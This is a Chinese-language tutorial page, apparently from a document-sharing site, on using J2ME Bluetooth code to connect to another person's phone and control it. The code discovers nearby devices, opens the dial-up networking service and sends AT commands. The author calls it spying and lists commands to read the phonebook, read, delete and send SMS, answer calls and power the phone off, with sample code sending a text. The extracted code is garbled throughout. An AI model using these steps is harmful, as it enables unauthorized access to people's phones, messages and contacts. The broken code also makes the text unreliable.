J2ME手机蓝牙间谍控制之我所见Word格式.docx

上传人:b****4 文档编号:6915401 上传时间:2023-05-07 格式:DOCX 页数:8 大小:19.63KB
下载 相关 举报
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第1页
第1页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第2页
第2页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第3页
第3页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第4页
第4页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第5页
第5页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第6页
第6页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第7页
第7页 / 共8页
J2ME手机蓝牙间谍控制之我所见Word格式.docx_第8页
第8页 / 共8页
亲,该文档总共8页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

J2ME手机蓝牙间谍控制之我所见Word格式.docx

《J2ME手机蓝牙间谍控制之我所见Word格式.docx》由会员分享,可在线阅读,更多相关《J2ME手机蓝牙间谍控制之我所见Word格式.docx(8页珍藏版)》请在冰点文库上搜索。

J2ME手机蓝牙间谍控制之我所见Word格式.docx

javax.bluetooth.LocalDevice"

);

}

catch(Exceptionex){

System.out.println("

操!

我的手机不支持蓝牙"

第二步,如果支持蓝牙,我们就搜索一下,看看我们附近有没有蓝牙设备!

LocalDevicelocalDevice=LocalDevice.getLocalDevice();

discoveryAgent=localDevice.getDiscoveryAgent();

//创建蓝牙搜索代理

discoveryAgent.startInquiry(DiscoveryAgent.GIAC,this);

//开始搜索,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口.

如果搜索到了有新设备,它会调用deviceDiscoverd()方法接收!

publicvoiddeviceDiscovered(RemoteDeviceremoteDevice,DeviceClasscod){

remoteDevices.addElement(remoteDevice);

}catch(Exceptione){

System.out.println("

猪呀!

怎么又错了!

当设备发现时会调用如下方法:

publicvoiddeviceDiscovered(RemoteDeviceremotedevice,DeviceClassdeviceclass){

s=remotedevice.getFriendlyName(false);

//得到好友名称,这个有些时候可能为空,也有可能会报错.

catch(Exception_ex){

s=remotedevice.getBluetoothAddress();

//得到蓝牙地址

catch(Exception_ex2){}

当搜索完成时会调用如下方法:

publicvoidinquiryCompleted(intdiscType){

StringinqStatus=null;

if(discType==DiscoveryListener.INQUIRY_COMPLETED){

inqStatus="

老子完成搜索了!

厉害吧!

;

}elseif(discType==DiscoveryListener.INQUIRY_TERMINATED){

讨打,叫我搜就搜,叫我停就停,面子都没有!

}elseif(discType==DiscoveryListener.INQUIRY_ERROR){

啊哦!

老子又挂了!

}

remoteDevices不知道是什么了吧~remoteDevices其实就是---一个Vector,用于存放名称及蓝牙地址的.

第三步,搜索蓝牙服务.

RemoteDevicearemotedevice[]=discoveryAgent.retrieveDevices(x);

//这语句读出以前搜索的设备,x为其参数DiscoveryAgent.CACHED(缓存设备)和DiscoveryAgent.PREKNOWN(已知设备),如果要更新设备名称就按上方法,重新刷新一下面好友名称

UUIDauuid[]={newUUID(0x1103),newUUID(0x0100)};

discoveryAgent.searchServices(null,auuid,aremotedevice[y],this);

//搜索蓝牙设备服务,auuid为指定的服务类型,0x1103代表播号网络服务,aremotedevice[y]指定设备,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口

catch(Exceptionexception){

当发现新服务时会调用如下方法:

publicvoidservicesDiscovered(inti,ServiceRecordaservicerecord[]){

if(aservicerecord.length>

-1){

Objectobj=null;

for(intj=0;

j<

=aservicerecord.length-1;

j++){

Strings=aservicerecord[j1].getConnectionURL(0,false);

//读出的设备服务连接地址

得到服务连接地址!

}else{

没有得到服务连接地址!

又出错了,-_-!

publicfinalvoidserviceSearchCompleted(inti,intj){

if(j!

=1){

没有搜索到任何可用服务!

第四步,连接到设备服务,并实现输入输出.

OutputStreamoutputStream;

InputStreaminputStream;

StreamConnectionstreamConnection;

streamConnection=(StreamConnection)Connector.open(s);

//s为上面getConnectionURL读出的设备服务连接地址

outputStream=streamConnection.openOutputStream();

//创建输出流

inputStream=streamConnection.openInputStream();

//创建输入流

第五步,如果第四步没有什么问题的话.那么恭喜你,你可以完全控制他的手机了.(哈哈哈哈,奸笑中......^_^),下面我们看一下如何控制他的手机.

现在我们就可以用outputStream直输出at命令了.

如:

发送ATA接电话命令.

Strings="

ATA"

outputStream.write(s.getBytes());

outputStream.write(13);

outputStream.write(10);

outputStream.flush();

最可以用inputStream.read()来接返回的消息.

再来回顾一次重点.j2ME本身就是支持蓝牙的,手机是通过播号网络服务方式支持at命令的.只要用j2ME连接到另一台手机的播号网络服务就可以直接发送at命令.可惜网上资料太少了.....

下面我们就介绍一下常用的AT命令(具体看手机支持不支持,大多数是标准的^_^):

AT+CGMI给出模块厂商的标识。

AT+CGMM获得模块标识。

AT+CGMR获得改订的软件版本。

AT+CGSN获得GSM模块的IMEI(国际移动设备标识)序列号。

AT+CSCS选择TE特征设定。

这个命令报告TE用的是哪个状态设定上的ME。

ME于是可以转换每一个输入的或显示的字母。

这个是用来发送、读取或者撰写短信。

AT+WPCS设定电话簿状态。

这个特殊的命令报告通过TE电话簿所用的状态的ME。

ME于是可以转换每一个输入的或者显示的字符串字母。

这个用来读或者写电话簿的入口。

AT+CIMI获得IMSI。

这命令用来读取或者识别SIM卡的IMSI(国际移动签署者标识)。

在读取IMSI之前应该先输入PIN(如果需要PIN的话)。

AT+CCID获得SIM卡的标识。

这个命令使模块读取SIM卡上的EF-CCID文件。

AT+GCAP获得能力表。

(支持的功能)

A/重复上次命令。

只有A/命令不能重复。

这命令重复前一个执行的命令。

AT+CPOF关机。

这个特殊的命令停止GSM软件堆栈和硬件层。

命令AT+CFUN=0的功能与+CPOF相同。

AT+CFUN设定电话机能。

这个命令选择移动站点的机能水平。

AT+CPAS返回移动设备的活动状态。

AT+CMEE报告移动设备的错误。

这个命令决定允许或不允许用结果码“+CMEERROR:

<

xxx>

”或者“+CMSERROR:

”代替简单的“ERROR”。

AT+CKPD小键盘控制。

仿真ME小键盘执行命令。

AT+CCLK时钟管理。

这个命令用来设置或者获得ME真实时钟的当前日期和时间。

AT+CALA警报管理。

这个命令用来设定在ME中的警报日期/时间。

(闹铃)

AT+CRMP铃声旋律播放。

这个命令在模块的蜂鸣器上播放一段旋律。

有两种旋律可用:

到来语音、数据或传真呼叫旋律和到来短信声音。

AT+CRSL设定或获得到来的电话铃声的声音级别。

ATD拨号命令。

这个命令用来设置通话、数据或传真呼叫。

ATH挂机命令。

ATA接电话。

AT+CEER扩展错误报告。

这个命令给出当上一次通话设置失败后中断通话的原因。

AT+VTD给用户提供应用GSM网络发送DTMF(双音多频)双音频。

这个命令用来定义双音频的长度(默认值是300毫秒)。

AT+VTS给用户提供应用GSM网络发送DTMF双音频。

这个命令允许传送双音频。

ATDL重拨上次电话号码。

AT%Dn数据终端就绪(DTR)时自动拨号。

ATS0自动应答。

AT+CICB来电信差。

AT+CSNS单一编号方案。

AT+VGR,AT+VGT增益控制。

这个命令应用于调节喇叭的接收增益和麦克风的传输增益。

AT+CMUT麦克风静音控制。

AT+SPEAKER喇叭/麦克风选择。

这个特殊命令用来选择喇叭和麦克风。

AT+ECHO回音取消。

AT+SIDET侧音修正。

AT+VIP初始化声音参数。

AT+DUI用附加的用户信息拨号。

AT+HUI用附加的用户信息挂机。

AT+RUI接收附加用户信息。

AT+CSQ信号质量。

AT+COPS服务商选择。

AT+CREG网络注册。

获得手机的注册状态。

AT+WOPN读取操作员名字。

AT+CPOL优先操作员列表。

AT+CPIN2输入PIN2。

AT+CPINCPIN的剩余的尝试号码。

AT+CLCK设备锁。

AT+CPWD改变密码。

AT+CPBS选择电话簿记忆存储。

AT+CPBR读取电话簿表目。

AT+CPBF查找电话簿表目。

AT+CPBW写电话簿表目。

AT+CPBP电话簿电话查询。

AT+CPBN电话簿移动动作。

这个特殊命令使电话簿中的条目前移或后移(按字母顺序)

AT+CNUM签署者号码。

AT+WAIP防止在下一次重起时初始化所有的电话簿。

AT+WDCP删除呼叫电话号码。

AT+CSVM设置语音邮件号码。

AT+CSMS选择消息服务。

支持的服务有GSM-MO、SMS-MT、SMS-CB。

AT+CNMA新信息确认应答。

AT+CPMS优先信息存储。

这个命令定义用来读写信息的存储区域。

AT+CMGF优先信息格式。

执行格式有TEXT方式和PDU方式。

AT+CSAS保存设置。

保存+CSAS和+CSMP的参数。

AT+CRES恢复设置。

AT+CSDH显示文本方式的参数。

AT+CNMI新信息指示。

这个命令选择如何从网络上接收短信息。

AT+CMGR读短信。

信息从+CPMS命令设定的存储器读取。

AT+CMGL列出存储的信息。

AT+CMGS发送信息。

AT+CMGW写短信息并存储。

AT+CMSS从存储器中发送信息。

AT+CSMP设置文本模式的参数。

AT+CMGD删除短信息。

删除一个或多个短信息。

AT+CSCA短信服务中心地址。

AT+CSCB选择单元广播信息类型。

AT+WCBM单元广播信息标识。

AT+WMSC信息状态(是否读过、是否发送等等)修正。

AT+WMGO信息覆盖写入。

AT+WUSS不改变SMS状态。

在执行+CMGR或+CMGL后仍保持UNREAD。

值得注意的是,通常有些命令是配合使用,比如发送中文短信(在设置完成手机参数后):

outputStream.write("

AT+CMGF=1"

.getBytes());

//设置信息格式,0为TEXT方式和1为PDU方式。

AT+CMGS='

12345678999'

10"

//发送短信到XX

0x600xa80x590x7d0x000x1a"

//发送中文短信内容

好了,有了以前的知识,您就可以使用蓝牙控制其他的手机了,事先申明,如果拿去偷看别人的手机被打不关我事.此文仅在技术分析,如果更多需要交流请加我的QQ:

24259132,请转载者尊重一下原著的版权,谢谢!

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 高等教育 > 医学

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2